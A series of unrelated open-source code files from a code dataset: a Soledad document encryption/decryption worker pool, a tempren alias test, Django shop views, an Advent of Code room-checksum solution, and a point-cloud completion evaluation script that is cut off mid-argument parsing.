SyncEncryptDecryptPool(object):\n \"\"\"\n Base class for encrypter/decrypter pools.\n \"\"\"\n\n # TODO implement throttling to reduce cpu usage??\n WORKERS = multiprocessing.cpu_count()\n\n def __init__(self, crypto, sync_db):\n \"\"\"\n Initialize the pool of encryption-workers.\n\n :param crypto: A SoledadCryto instance to perform the encryption.\n :type crypto: leap.soledad.crypto.SoledadCrypto\n\n :param sync_db: A database connection handle\n :type sync_db: pysqlcipher.dbapi2.Connection\n \"\"\"\n self._crypto = crypto\n self._sync_db = sync_db\n self._pool = None\n self._delayed_call = None\n self._started = False\n\n def start(self):\n if self.running:\n return\n self._create_pool()\n self._started = True\n\n def stop(self):\n if not self.running:\n return\n self._started = False\n self._destroy_pool()\n # maybe cancel the next delayed call\n if self._delayed_call \\\n and not self._delayed_call.called:\n self._delayed_call.cancel()\n\n @property\n def running(self):\n return self._started\n\n def _create_pool(self):\n self._pool = multiprocessing.Pool(self.WORKERS)\n\n def _destroy_pool(self):\n \"\"\"\n Cleanly close the pool of workers.\n \"\"\"\n logger.debug(\"Closing %s\" % (self.__class__.__name__,))\n self._pool.close()\n try:\n self._pool.join()\n except Exception:\n pass\n\n def terminate(self):\n \"\"\"\n Terminate the pool of workers.\n \"\"\"\n logger.debug(\"Terminating %s\" % (self.__class__.__name__,))\n self._pool.terminate()\n\n def _runOperation(self, query, *args):\n \"\"\"\n Run an operation on the sync db.\n\n :param query: The query to be executed.\n :type query: str\n :param args: A list of query arguments.\n :type args: list\n\n :return: A deferred that will fire when the operation in the database\n has finished.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n return self._sync_db.runOperation(query, *args)\n\n def _runQuery(self, query, *args):\n \"\"\"\n Run a query on the sync db.\n\n :param query: The query to be executed.\n :type query: str\n :param args: A list of query arguments.\n :type args: list\n\n :return: A deferred that will fire with the results of the database\n query.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n return self._sync_db.runQuery(query, *args)\n\n\ndef encrypt_doc_task(doc_id, doc_rev, content, key, secret):\n \"\"\"\n Encrypt the content of the given document.\n\n :param doc_id: The document id.\n :type doc_id: str\n :param doc_rev: The document revision.\n :type doc_rev: str\n :param content: The serialized content of the document.\n :type content: str\n :param key: The encryption key.\n :type key: str\n :param secret: The Soledad storage secret (used for MAC auth).\n :type secret: str\n\n :return: A tuple containing the doc id, revision and encrypted content.\n :rtype: tuple(str, str, str)\n \"\"\"\n encrypted_content = encrypt_docstr(\n content, doc_id, doc_rev, key, secret)\n return doc_id, doc_rev, encrypted_content\n\n\nclass SyncEncrypterPool(SyncEncryptDecryptPool):\n \"\"\"\n Pool of workers that spawn subprocesses to execute the symmetric encryption\n of documents to be synced.\n \"\"\"\n TABLE_NAME = \"docs_tosync\"\n FIELD_NAMES = \"doc_id PRIMARY KEY, rev, content\"\n\n ENCRYPT_LOOP_PERIOD = 2\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Initialize the sync encrypter pool.\n \"\"\"\n SyncEncryptDecryptPool.__init__(self, *args, **kwargs)\n self._encr_queue = defer.DeferredQueue()\n # TODO delete already synced files from database\n\n def start(self):\n \"\"\"\n Start the encrypter pool.\n \"\"\"\n SyncEncryptDecryptPool.start(self)\n logger.debug(\"Starting the encryption loop...\")\n reactor.callWhenRunning(self._maybe_encrypt_and_recurse)\n\n def stop(self):\n \"\"\"\n Stop the encrypter pool.\n \"\"\"\n # close the sync queue\n if self._encr_queue:\n q = self._encr_queue\n for d in q.pending:\n d.cancel()\n del q\n self._encr_queue = None\n\n SyncEncryptDecryptPool.stop(self)\n\n def enqueue_doc_for_encryption(self, doc):\n \"\"\"\n Enqueue a document for encryption.\n\n :param doc: The document to be encrypted.\n :type doc: SoledadDocument\n \"\"\"\n try:\n self._encr_queue.put(doc)\n except Queue.Full:\n # do not asynchronously encrypt this file if the queue is full\n pass\n\n @defer.inlineCallbacks\n def _maybe_encrypt_and_recurse(self):\n \"\"\"\n Process one document from the encryption queue.\n\n Asynchronously encrypt a document that will then be stored in the sync\n db. Processed documents will be read by the SoledadSyncTarget during\n the sync_exchange.\n \"\"\"\n try:\n while self.running:\n doc = yield self._encr_queue.get()\n self._encrypt_doc(doc)\n except defer.QueueUnderflow:\n self._delayed_call = reactor.callLater(\n self.ENCRYPT_LOOP_PERIOD,\n self._maybe_encrypt_and_recurse)\n\n def _encrypt_doc(self, doc):\n \"\"\"\n Symmetrically encrypt a document.\n\n :param doc: The document with contents to be encrypted.\n :type doc: SoledadDocument\n\n :param workers: Whether to defer the decryption to the multiprocess\n pool of workers. Useful for debugging purposes.\n :type workers: bool\n \"\"\"\n soledad_assert(self._crypto is not None, \"need a crypto object\")\n docstr = doc.get_json()\n key = self._crypto.doc_passphrase(doc.doc_id)\n secret = self._crypto.secret\n args = doc.doc_id, doc.rev, docstr, key, secret\n # encrypt asynchronously\n self._pool.apply_async(\n encrypt_doc_task, args,\n callback=self._encrypt_doc_cb)\n\n def _encrypt_doc_cb(self, result):\n \"\"\"\n Insert results of encryption routine into the local sync database.\n\n :param result: A tuple containing the doc id, revision and encrypted\n content.\n :type result: tuple(str, str, str)\n \"\"\"\n doc_id, doc_rev, content = result\n return self._insert_encrypted_local_doc(doc_id, doc_rev, content)\n\n def _insert_encrypted_local_doc(self, doc_id, doc_rev, content):\n \"\"\"\n Insert the contents of the encrypted doc into the local sync\n database.\n\n :param doc_id: The document id.\n :type doc_id: str\n :param doc_rev: The document revision.\n :type doc_rev: str\n :param content: The serialized content of the document.\n :type content: str\n \"\"\"\n query = \"INSERT OR REPLACE INTO '%s' VALUES (?, ?, ?)\" \\\n % (self.TABLE_NAME,)\n return self._runOperation(query, (doc_id, doc_rev, content))\n\n @defer.inlineCallbacks\n def get_encrypted_doc(self, doc_id, doc_rev):\n \"\"\"\n Get an encrypted document from the sync db.\n\n :param doc_id: The id of the document.\n :type doc_id: str\n :param doc_rev: The revision of the document.\n :type doc_rev: str\n\n :return: A deferred that will fire with the encrypted content of the\n document or None if the document was not found in the sync\n db.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n query = \"SELECT content FROM %s WHERE doc_id=? and rev=?\" \\\n % self.TABLE_NAME\n result = yield self._runQuery(query, (doc_id, doc_rev))\n if result:\n logger.debug(\"Found doc on sync db: %s\" % doc_id)\n val = result.pop()\n defer.returnValue(val[0])\n logger.debug(\"Did not find doc on sync db: %s\" % doc_id)\n defer.returnValue(None)\n\n def delete_encrypted_doc(self, doc_id, doc_rev):\n \"\"\"\n Delete an encrypted document from the sync db.\n\n :param doc_id: The id of the document.\n :type doc_id: str\n :param doc_rev: The revision of the document.\n :type doc_rev: str\n\n :return: A deferred that will fire when the operation in the database\n has finished.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n query = \"DELETE FROM %s WHERE doc_id=? and rev=?\" \\\n % self.TABLE_NAME\n self._runOperation(query, (doc_id, doc_rev))\n\n\ndef decrypt_doc_task(doc_id, doc_rev, content, gen, trans_id, key, secret,\n idx):\n \"\"\"\n Decrypt the content of the given document.\n\n :param doc_id: The document id.\n :type doc_id: str\n :param doc_rev: The document revision.\n :type doc_rev: str\n :param content: The encrypted content of the document.\n :type content: str\n :param gen: The generation corresponding to the modification of that\n document.\n :type gen: int\n :param trans_id: The transaction id corresponding to the modification of\n that document.\n :type trans_id: str\n :param key: The encryption key.\n :type key: str\n :param secret: The Soledad storage secret (used for MAC auth).\n :type secret: str\n :param idx: The index of this document in the current sync process.\n :type idx: int\n\n :return: A tuple containing the doc id, revision and encrypted content.\n :rtype: tuple(str, str, str)\n \"\"\"\n decrypted_content = decrypt_doc_dict(content, doc_id, doc_rev, key, secret)\n return doc_id, doc_rev, decrypted_content, gen, trans_id, idx\n\n\nclass SyncDecrypterPool(SyncEncryptDecryptPool):\n \"\"\"\n Pool of workers that spawn subprocesses to execute the symmetric decryption\n of documents that were received.\n\n The decryption of the received documents is done in two steps:\n\n 1. Encrypted documents are stored in the sync db by the actual soledad\n sync loop.\n 2. The soledad sync loop tells us how many documents we should expect\n to process.\n 3. We start a decrypt-and-process loop:\n\n a. Encrypted documents are fetched.\n b. Encrypted documents are decrypted.\n c. The longest possible list of decrypted documents are inserted\n in the soledad db (this depends on which documents have already\n arrived and which documents have already been decrypte, because\n the order of insertion in the local soledad db matters).\n d. Processed documents are deleted from the database.\n\n 4. When we have processed as many documents as we should, the loop\n finishes.\n \"\"\"\n TABLE_NAME = \"docs_received\"\n FIELD_NAMES = \"doc_id PRIMARY KEY, rev, content, gen, \" \\\n \"trans_id, encrypted, idx\"\n\n \"\"\"\n Period of recurrence of the periodic decrypting task, in seconds.\n \"\"\"\n DECRYPT_LOOP_PERIOD = 0.5\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Initialize the decrypter pool, and setup a dict for putting the\n results of the decrypted docs until they are picked by the insert\n routine that gets them in order.\n\n :param insert_doc_cb: A callback for inserting received documents from\n target. If not overriden, this will call u1db\n insert_doc_from_target in synchronizer, which\n implements the TAKE OTHER semantics.\n :type insert_doc_cb: function\n :param source_replica_uid: The source replica uid, used to find the\n correct callback for inserting documents.\n :type source_replica_uid: str\n \"\"\"\n self._insert_doc_cb = kwargs.pop(\"insert_doc_cb\")\n self.source_replica_uid = kwargs.pop(\"source_replica_uid\")\n\n SyncEncryptDecryptPool.__init__(self, *args, **kwargs)\n\n self._docs_to_process = None\n self._processed_docs = 0\n self._last_inserted_idx = 0\n self._decrypting_docs = []\n\n # a list that holds the asynchronous decryption results so they can be\n # collected when they are ready\n self._async_results = []\n\n # initialize db and make sure any database operation happens after\n # db initialization\n self._deferred_init = self._init_db()\n self._wait_init_db('_runOperation', '_runQuery')\n\n def _wait_init_db(self, *methods):\n \"\"\"\n Methods that need to wait for db initialization.\n\n :param methods: methods that need to wait for initialization\n :type methods: tuple(str)\n \"\"\"\n self._waiting = []\n self._stored = {}\n\n def _restore(_):\n for method in self._stored:\n setattr(self, method, self._stored[method])\n for d in self._waiting:\n d.callback(None)\n\n def _makeWrapper(method):\n def wrapper(*args, **kw):\n d = defer.Deferred()\n d.addCallback(lambda _: self._stored[method](*args, **kw))\n self._waiting.append(d)\n return d\n return wrapper\n\n for method in methods:\n self._stored[method] = getattr(self, method)\n setattr(self, method, _makeWrapper(method))\n\n self._deferred_init.addCallback(_restore)\n\n def start(self, docs_to_process):\n \"\"\"\n Set the number of documents we expect to process.\n\n This should be called by the during the sync exchange process as soon\n as we know how many documents are arriving from the server.\n\n :param docs_to_process: The number of documents to process.\n :type docs_to_process: int\n \"\"\"\n SyncEncryptDecryptPool.start(self)\n self._docs_to_process = docs_to_process\n self._deferred = defer.Deferred()\n reactor.callWhenRunning(self._launch_decrypt_and_recurse)\n\n def _launch_decrypt_and_recurse(self):\n d = self._decrypt_and_recurse()\n d.addErrback(self._errback)\n\n def _errback(self, failure):\n log.err(failure)\n self._deferred.errback(failure)\n self._processed_docs = 0\n self._last_inserted_idx = 0\n\n @property\n def deferred(self):\n \"\"\"\n Deferred that will be fired when the decryption loop has finished\n processing all the documents.\n \"\"\"\n return self._deferred\n\n def insert_encrypted_received_doc(\n self, doc_id, doc_rev, content, gen, trans_id, idx):\n \"\"\"\n Insert a received message with encrypted content, to be decrypted later\n on.\n\n :param doc_id: The document ID.\n :type doc_id: str\n :param doc_rev: The document Revision\n :param doc_rev: str\n :param content: The content of the document\n :type content: dict\n :param gen: The document Generation\n :type gen: int\n :param trans_id: Transaction ID\n :type trans_id: str\n :param idx: The index of this document in the current sync process.\n :type idx: int\n\n :return: A deferred that will fire when the operation in the database\n has finished.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n docstr = json.dumps(content)\n query = \"INSERT OR REPLACE INTO '%s' VALUES (?, ?, ?, ?, ?, ?, ?)\" \\\n % self.TABLE_NAME\n return self._runOperation(\n query, (doc_id, doc_rev, docstr, gen, trans_id, 1, idx))\n\n def insert_received_doc(\n self, doc_id, doc_rev, content, gen, trans_id, idx):\n \"\"\"\n Insert a document that is not symmetrically encrypted.\n We store it in the staging area (the decrypted_docs dictionary) to be\n picked up in order as the preceding documents are decrypted.\n\n :param doc_id: The document id\n :type doc_id: str\n :param doc_rev: The document revision\n :param doc_rev: str or dict\n :param content: The content of the document\n :type content: dict\n :param gen: The document generation\n :type gen: int\n :param trans_id: The transaction id\n :type trans_id: str\n :param idx: The index of this document in the current sync process.\n :type idx: int\n\n :return: A deferred that will fire when the operation in the database\n has finished.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n if not isinstance(content, str):\n content = json.dumps(content)\n query = \"INSERT OR REPLACE INTO '%s' VALUES (?, ?, ?, ?, ?, ?, ?)\" \\\n % self.TABLE_NAME\n return self._runOperation(\n query, (doc_id, doc_rev, content, gen, trans_id, 0, idx))\n\n def _delete_received_doc(self, doc_id):\n \"\"\"\n Delete a received doc after it was inserted into the local db.\n\n :param doc_id: Document ID.\n :type doc_id: str\n\n :return: A deferred that will fire when the operation in the database\n has finished.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n query = \"DELETE FROM '%s' WHERE doc_id=?\" \\\n % self.TABLE_NAME\n return self._runOperation(query, (doc_id,))\n\n def _async_decrypt_doc(self, doc_id, rev, content, gen, trans_id, idx):\n \"\"\"\n Dispatch an asynchronous document decrypting routine and save the\n result object.\n\n :param doc_id: The ID for the document with contents to be encrypted.\n :type doc: str\n :param rev: The revision of the document.\n :type rev: str\n :param content: The serialized content of the document.\n :type content: str\n :param gen: The generation corresponding to the modification of that\n document.\n :type gen: int\n :param trans_id: The transaction id corresponding to the modification\n of that document.\n :type trans_id: str\n :param idx: The index of this document in the current sync process.\n :type idx: int\n \"\"\"\n soledad_assert(self._crypto is not None, \"need a crypto object\")\n\n content = json.loads(content)\n key = self._crypto.doc_passphrase(doc_id)\n secret = self._crypto.secret\n args = doc_id, rev, content, gen, trans_id, key, secret, idx\n # decrypt asynchronously\n self._async_results.append(\n self._pool.apply_async(\n decrypt_doc_task, args))\n\n def _decrypt_doc_cb(self, result):\n \"\"\"\n Store the decryption result in the sync db from where it will later be\n picked by _process_decrypted_docs.\n\n :param result: A tuple containing the document's id, revision,\n content, generation, transaction id and sync index.\n :type result: tuple(str, str, str, int, str, int)\n\n :return: A deferred that will fire after the document has been\n inserted in the sync db.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n doc_id, rev, content, gen, trans_id, idx = result\n logger.debug(\"Sync decrypter pool: decrypted doc %s: %s %s %s\"\n % (doc_id, rev, gen, trans_id))\n self._decrypting_docs.remove((doc_id, rev))\n return self.insert_received_doc(\n doc_id, rev, content, gen, trans_id, idx)\n\n def _get_docs(self, encrypted=None, order_by='idx', order='ASC'):\n \"\"\"\n Get documents from the received docs table in the sync db.\n\n :param encrypted: If not None, only return documents with encrypted\n field equal to given parameter.\n :type encrypted: bool or None\n :param order_by: The name of the field to order results.\n :type order_by: str\n :param order: Whether the order should be ASC or DESC.\n :type order: str\n\n :return: A deferred that will fire with the results of the database\n query.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n query = \"SELECT doc_id, rev, content, gen, trans_id, encrypted, \" \\\n \"idx FROM %s\" % self.TABLE_NAME\n if encrypted is not None:\n query += \" WHERE encrypted = %d\" % int(encrypted)\n query += \" ORDER BY %s %s\" % (order_by, order)\n return self._runQuery(query)\n\n @defer.inlineCallbacks\n def _get_insertable_docs(self):\n \"\"\"\n Return a list of non-encrypted documents ready to be inserted.\n\n :return: A deferred that will fire with the list of insertable\n documents.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n # here, we fetch the list of decrypted documents and compare with the\n # index of the last succesfully processed document.\n decrypted_docs = yield self._get_docs(encrypted=False)\n insertable = []\n last_idx = self._last_inserted_idx\n for doc_id, rev, content, gen, trans_id, encrypted, idx in \\\n decrypted_docs:\n if (idx != last_idx + 1):\n break\n insertable.append((doc_id, rev, content, gen, trans_id, idx))\n last_idx += 1\n defer.returnValue(insertable)\n\n @defer.inlineCallbacks\n def _async_decrypt_received_docs(self):\n \"\"\"\n Get all the encrypted documents from the sync database and dispatch a\n decrypt worker to decrypt each one of them.\n\n :return: A deferred that will fire after all documents have been\n decrypted and inserted back in the sync db.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n docs = yield self._get_docs(encrypted=True)\n for doc_id, rev, content, gen, trans_id, _, idx in docs:\n if (doc_id, rev) not in self._decrypting_docs:\n self._decrypting_docs.append((doc_id, rev))\n self._async_decrypt_doc(\n doc_id, rev, content, gen, trans_id, idx)\n\n @defer.inlineCallbacks\n def _process_decrypted_docs(self):\n \"\"\"\n Fetch as many decrypted documents as can be taken from the expected\n order and insert them in the local replica.\n\n :return: A deferred that will fire with the list of inserted\n documents.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n insertable = yield self._get_insertable_docs()\n for doc_fields in insertable:\n self._insert_decrypted_local_doc(*doc_fields)\n defer.returnValue(insertable)\n\n def _delete_processed_docs(self, inserted):\n \"\"\"\n Delete from the sync db documents that have been processed.\n\n :param inserted: List of documents inserted in the previous process\n step.\n :type inserted: list\n\n :return: A list of deferreds that will fire when each operation in the\n database has finished.\n :rtype: twisted.internet.defer.DeferredList\n \"\"\"\n deferreds = []\n for doc_id, doc_rev, _, _, _, _ in inserted:\n deferreds.append(\n self._delete_received_doc(doc_id))\n if not deferreds:\n return defer.succeed(None)\n return defer.gatherResults(deferreds)\n\n def _insert_decrypted_local_doc(self, doc_id, doc_rev, content,\n gen, trans_id, idx):\n \"\"\"\n Insert the decrypted document into the local replica.\n\n Make use of the passed callback `insert_doc_cb` passed to the caller\n by u1db sync.\n\n :param doc_id: The document id.\n :type doc_id: str\n :param doc_rev: The document revision.\n :type doc_rev: str\n :param content: The serialized content of the document.\n :type content: str\n :param gen: The generation corresponding to the modification of that\n document.\n :type gen: int\n :param trans_id: The transaction id corresponding to the modification\n of that document.\n :type trans_id: str\n \"\"\"\n # could pass source_replica in params for callback chain\n logger.debug(\"Sync decrypter pool: inserting doc in local db: \"\n \"%s:%s %s\" % (doc_id, doc_rev, gen))\n\n # convert deleted documents to avoid error on document creation\n if content == 'null':\n content = None\n doc = SoledadDocument(doc_id, doc_rev, content)\n gen = int(gen)\n self._insert_doc_cb(doc, gen, trans_id)\n\n # store info about processed docs\n self._last_inserted_idx = idx\n self._processed_docs += 1\n\n def _init_db(self):\n \"\"\"\n Empty the received docs table of the sync database.\n\n :return: A deferred that will fire when the operation in the database\n has finished.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n query = \"DELETE FROM %s WHERE 1\" % (self.TABLE_NAME,)\n return self._runOperation(query)\n\n @defer.inlineCallbacks\n def _collect_async_decryption_results(self):\n \"\"\"\n Collect the results of the asynchronous doc decryptions and re-raise\n any exception raised by a multiprocessing async decryption call.\n\n :raise Exception: Raised if an async call has raised an exception.\n \"\"\"\n async_results = self._async_results[:]\n for res in async_results:\n if res.ready():\n # XXX: might raise an exception!\n yield self._decrypt_doc_cb(res.get())\n self._async_results.remove(res)\n\n @defer.inlineCallbacks\n def _decrypt_and_recurse(self):\n \"\"\"\n Decrypt the documents received from remote replica and insert them\n into the local one.\n\n This method implicitelly returns a defferred (see the decorator\n above). It should only be called by _launch_decrypt_and_process().\n because this way any exceptions raised here will be stored by the\n errback attached to the deferred returned.\n\n :return: A deferred which will fire after all decrypt, process and\n delete operations have been executed.\n :rtype: twisted.internet.defer.Deferred\n \"\"\"\n processed = self._processed_docs\n pending = self._docs_to_process\n\n if processed < pending:\n yield self._async_decrypt_received_docs()\n yield self._collect_async_decryption_results()\n docs = yield self._process_decrypted_docs()\n yield self._delete_processed_docs(docs)\n # recurse\n self._delayed_call = reactor.callLater(\n self.DECRYPT_LOOP_PERIOD,\n self._launch_decrypt_and_recurse)\n else:\n self._finish()\n\n def _finish(self):\n self._processed_docs = 0\n self._last_inserted_idx = 0\n self._deferred.callback(None)\n","repo_name":"shyba/soledad","sub_path":"client/src/leap/soledad/client/encdecpool.py","file_name":"encdecpool.py","file_ext":"py","file_size_in_byte":27744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"27621687324","text":"import pytest\n\nfrom tempren.alias import AliasTag, AliasTagFactoryFromClass, TagAlias\nfrom tempren.primitives import File, Pattern\nfrom tempren.template.ast import RawText\nfrom tempren.template.compiler import TemplateCompiler\n\nfrom .conftest import pattern_from\n\n\nclass DummyCompiler:\n def compile(self, template_text: str) -> Pattern:\n return pattern_from(RawText(template_text))\n\n\n@pytest.fixture\ndef compiler() -> TemplateCompiler:\n return DummyCompiler()\n\n\nclass FooBarTagAlias(TagAlias):\n \"\"\"Foo bar\"\"\"\n\n\nclass TestAliasTagFactoryFromClass:\n def test_short_description(self, compiler: TemplateCompiler):\n factory = AliasTagFactoryFromClass(FooBarTagAlias, compiler)\n assert \"Alias\" in factory.short_description\n assert \"Foo bar\" in factory.short_description\n\n def test_long_description(self, compiler: TemplateCompiler):\n factory = AliasTagFactoryFromClass(FooBarTagAlias, compiler)\n assert \"Foo bar\" in factory.long_description\n\n def test_tag_alias_without_suffix(self, compiler: TemplateCompiler):\n class _InvalidAlias(TagAlias):\n \"\"\"Spam\"\"\"\n\n with pytest.raises(ValueError) as exc:\n AliasTagFactoryFromClass(_InvalidAlias, compiler)\n\n assert exc.match(\"tag alias name\")\n\n def test_specify_args_for_alias(self, compiler):\n factory = AliasTagFactoryFromClass(FooBarTagAlias, compiler)\n\n with pytest.raises(TypeError) as exc:\n factory(1, 2)\n\n assert exc.match(\"positional argument\")\n\n def test_specify_keyword_args_for_alias(self, compiler):\n factory = AliasTagFactoryFromClass(FooBarTagAlias, compiler)\n\n with pytest.raises(TypeError) as exc:\n factory(foo=\"bar\")\n\n assert exc.match(\"unexpected keyword argument\")\n\n\nclass TestAliasTag:\n def test_redirects_processing_to_passed_pattern(self, nonexistent_file: File):\n pattern = pattern_from(RawText(\"Spam\"))\n alias_tag = AliasTag(pattern)\n\n result = alias_tag.process(nonexistent_file, None)\n\n assert result == \"Spam\"\n","repo_name":"idle-code/tempren","sub_path":"tests/test_alias.py","file_name":"test_alias.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"25584216849","text":"from django.shortcuts import render\nfrom shop.models import Category, Product\n\n# Create your views here.\ndef home(request):\n products = Product.objects.all()\n return render(request,'index.html', {'products':products})\n\ndef search_results(request):\n if 'product' in request.GET and request.GET['product']:\n search_term = request.GET.get('product')\n searched_products = Product.search_by_product(search_term)\n message = f'{search_term}'\n\n return render(request, 'search.html', {'message':message, \n 'products':searched_products})\n else:\n message = 'You have not searched for any product'\n return render(request, 'search.html', {'message':message})\n\ndef categories(request):\n categories = Category.objects.all()\n return render(request, 'navbar.html',{'categories':categories})","repo_name":"NIelsen-Mudaki/Ecom-mart","sub_path":"shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5258245891","text":"# Python Standard Library Imports\nimport re\nfrom collections import defaultdict\n\nfrom utils import (\n Re,\n ingest,\n)\n\n\nINPUT_FILE = '04.in'\nEXPECTED_ANSWERS = (361724, 482, )\n\n# INPUT_FILE = '04.test.in'\n# EXPECTED_ANSWERS = (1514, None, )\n\n\ndef main():\n solution = Solution()\n answers = (solution.solve1(), solution.solve2(), )\n print(answers)\n assert(answers == EXPECTED_ANSWERS)\n\n\nclass Solution:\n def __init__(self):\n self.data = ingest(INPUT_FILE)\n self.rooms = [Room(room) for room in self.data]\n\n def solve1(self):\n sector_ids = [room.sector_id for room in self.rooms if room.is_valid]\n answer = sum(sector_ids)\n return answer\n\n def solve2(self):\n answer = None\n for room in self.rooms:\n if room.is_valid:\n if room.real_name == 'northpole object storage':\n answer = room.sector_id\n\n return answer\n\n\nclass Room:\n ROOM_REGEX = re.compile(r'^(?P[a-z-]*[a-z])-(?P\\d+)\\[(?P[a-z]{5})\\]$')\n\n def __init__(self, room):\n self.room = room\n\n regex = Re()\n if regex.match(self.ROOM_REGEX, room):\n m = regex.last_match\n self.encrypted_name, self.sector_id, self.checksum = (\n m.group('encrypted_name'),\n int(m.group('sector_id')),\n m.group('checksum')\n )\n\n @property\n def expected_checksum(self):\n counts = defaultdict(int)\n for c in self.encrypted_name.replace('-', ''):\n counts[c] += 1\n\n pairs = list(counts.items())\n sorted_pairs = sorted(\n pairs,\n key=lambda letter_count: 1000 * letter_count[1] + (ord('z') - ord(letter_count[0])),\n reverse=True\n )\n checksum = ''.join([pair[0] for pair in sorted_pairs[:5]])\n return checksum\n\n @property\n def is_valid(self):\n return self.checksum == self.expected_checksum\n\n @property\n def real_name(self):\n deciphered = []\n for c in self.encrypted_name:\n if c == '-':\n deciphered.append(' ')\n else:\n code = ord(c) - ord('a')\n shifted_code = ord('a') + (code + self.sector_id) % 26\n deciphered.append(chr(shifted_code))\n\n real_name = ''.join(deciphered)\n return real_name\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"hacktoolkit/code_challenges","sub_path":"adventofcode/2016/04.py","file_name":"04.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"31"} +{"seq_id":"5964712522","text":"\r\nimport argparse\r\nimport csv\r\nimport importlib\r\nimport models\r\nimport numpy as np\r\nimport os\r\nimport tensorflow as tf\r\nimport time\r\nimport sys\r\nfrom io_util import read_pcd, save_pcd\r\nfrom tf_util import chamfer, earth_mover\r\nfrom visu_util import plot_pcd_three_views, plot_cd_loss\r\nfrom data_util import pad_cloudN\r\nfrom tqdm import tqdm\r\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\r\nROOT_DIR = BASE_DIR\r\nsys.path.append(BASE_DIR)\r\nsys.path.append(os.path.join(ROOT_DIR, 'tf_ops/sampling'))\r\nsys.path.append(os.path.join(ROOT_DIR, 'tf_ops/grouping'))\r\n\r\n\r\ndef test(args):\r\n file_name = os.listdir(args.log_dir)\r\n checkpoint_step_list=[os.path.splitext(checkpoint_name)[0] for checkpoint_name in file_name if os.path.splitext(checkpoint_name)[1]=='.index'] \r\n\r\n inputs = tf.placeholder(tf.float32, (1, None, 3))\r\n npts = tf.placeholder(tf.int32, (1,))\r\n gt = tf.placeholder(tf.float32, (1, args.num_gt_points, 3))\r\n inputs_pad = tf.placeholder(tf.float32, (1, args.num_input_points, 3))\r\n model = importlib.import_module('.%s' % args.model, 'models')\r\n features = model.create_ae2_encoder(inputs, npts)\r\n coarse = model.create_ae2_decoder(features)\r\n fine=model.create_refiner(features, inputs_pad, coarse, args.step_ratio, num_extract=512)\r\n\r\n cd_op = chamfer(fine, gt)\r\n\r\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpus\r\n config = tf.ConfigProto()\r\n config.gpu_options.allow_growth = True\r\n config.allow_soft_placement = True\r\n sess = tf.Session(config=config)\r\n saver = tf.train.Saver()\r\n plot_step = []\r\n cd_loss_avg = []\r\n\r\n for j,checkpoint_step in enumerate(checkpoint_step_list):\r\n plot_step.append(int(checkpoint_step[6:]))\r\n saver.restore(sess, os.path.join(args.log_dir, checkpoint_step))\r\n results_dir = os.path.join(args.results_dir,checkpoint_step)\r\n os.makedirs(results_dir, exist_ok=True)\r\n csv_file = open(os.path.join(results_dir, 'results.csv'), 'w')\r\n writer = csv.writer(csv_file)\r\n writer.writerow(['id', 'chamfer loss'])\r\n\r\n with open(args.list_path) as file:\r\n model_list = file.read().splitlines()\r\n total_time = 0\r\n total_cd = 0\r\n cd_per_cat = {}\r\n for i, model_id in enumerate(tqdm(model_list)):\r\n partial = read_pcd(os.path.join(args.data_dir, 'partial', '%s.pcd' % model_id))\r\n complete = read_pcd(os.path.join(args.data_dir, 'complete', '%s.pcd' % model_id))\r\n partial_pad = pad_cloudN(partial, args.num_input_points)\r\n start = time.time()\r\n coarse_out, fine_out = sess.run([coarse, fine], feed_dict={inputs: [partial], inputs_pad:[partial_pad], npts: [partial.shape[0]]})\r\n total_time += time.time() - start\r\n cd = sess.run(cd_op, feed_dict={fine: fine_out, gt: [complete]})\r\n total_cd += cd\r\n writer.writerow([model_id, cd])\r\n\r\n synset_id, model_id = model_id.split('/')\r\n if not cd_per_cat.get(synset_id):\r\n cd_per_cat[synset_id] = []\r\n cd_per_cat[synset_id].append(cd)\r\n\r\n if i % args.plot_freq == 0:\r\n os.makedirs(os.path.join(results_dir, 'plots', synset_id), exist_ok=True)\r\n plot_path = os.path.join(results_dir, 'plots', synset_id, '%s.png' % model_id)\r\n plot_pcd_three_views(plot_path, [partial, coarse_out[0], fine_out[0], complete],\r\n ['input', 'coarse output', 'fine output', 'ground truth'],\r\n 'CD %.4f ' % (cd),\r\n [5, 5, 0.5, 0.5])\r\n if args.save_pcd:\r\n os.makedirs(os.path.join(results_dir, 'pcds', synset_id), exist_ok=True)\r\n save_pcd(os.path.join(results_dir, 'pcds', '%s.pcd' % model_id), completion[0])\r\n csv_file.close()\r\n print('Result for :%s'% checkpoint_step)\r\n print('Average time: %f' % (total_time / len(model_list)))\r\n cd_loss_avg.append(total_cd / len(model_list))\r\n print('Average Chamfer distance: %f' % (total_cd / len(model_list)))\r\n print('Chamfer distance per category')\r\n for synset_id in cd_per_cat.keys():\r\n print(synset_id, '%f' % np.mean(cd_per_cat[synset_id]))\r\n\r\n\r\n plot_path_cd = os.path.join(args.results_dir, 'CD_Loss_plot.png')\r\n plot_cd_loss(plot_path_cd, plot_step, cd_loss_avg)\r\n sess.close()\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--list_path', default='data/shapenet/test.list')\r\n 